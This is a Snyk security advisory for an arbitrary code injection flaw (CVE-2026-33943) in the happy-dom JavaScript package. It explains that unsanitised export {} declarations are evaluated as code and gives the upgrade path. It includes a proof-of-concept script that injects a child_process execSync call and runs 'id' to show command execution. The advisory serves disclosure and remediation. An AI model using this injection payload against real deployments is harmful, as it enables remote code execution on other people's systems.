Arbitrary Code Injection Affecting happy-dom package, versions >=15.10.0 <20.8.8


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-HAPPYDOM-15790746
  • published27 Mar 2026
  • disclosed26 Mar 2026
  • creditByunSuyoung

Introduced: 26 Mar 2026

NewCVE-2026-33943  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade happy-dom to version 20.8.8 or higher.

Overview

happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.

Affected versions of this package are vulnerable to Arbitrary Code Injection in the ECMAScript module compilation process. An attacker can execute arbitrary code on the host system by injecting malicious JavaScript expressions into export {} declarations, which are then directly interpolated and evaluated without proper sanitization. This is only exploitable if JavaScript evaluation is explicitly enabled by the user.

PoC

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

CVSS Base Scores

version 4.0
version 3.1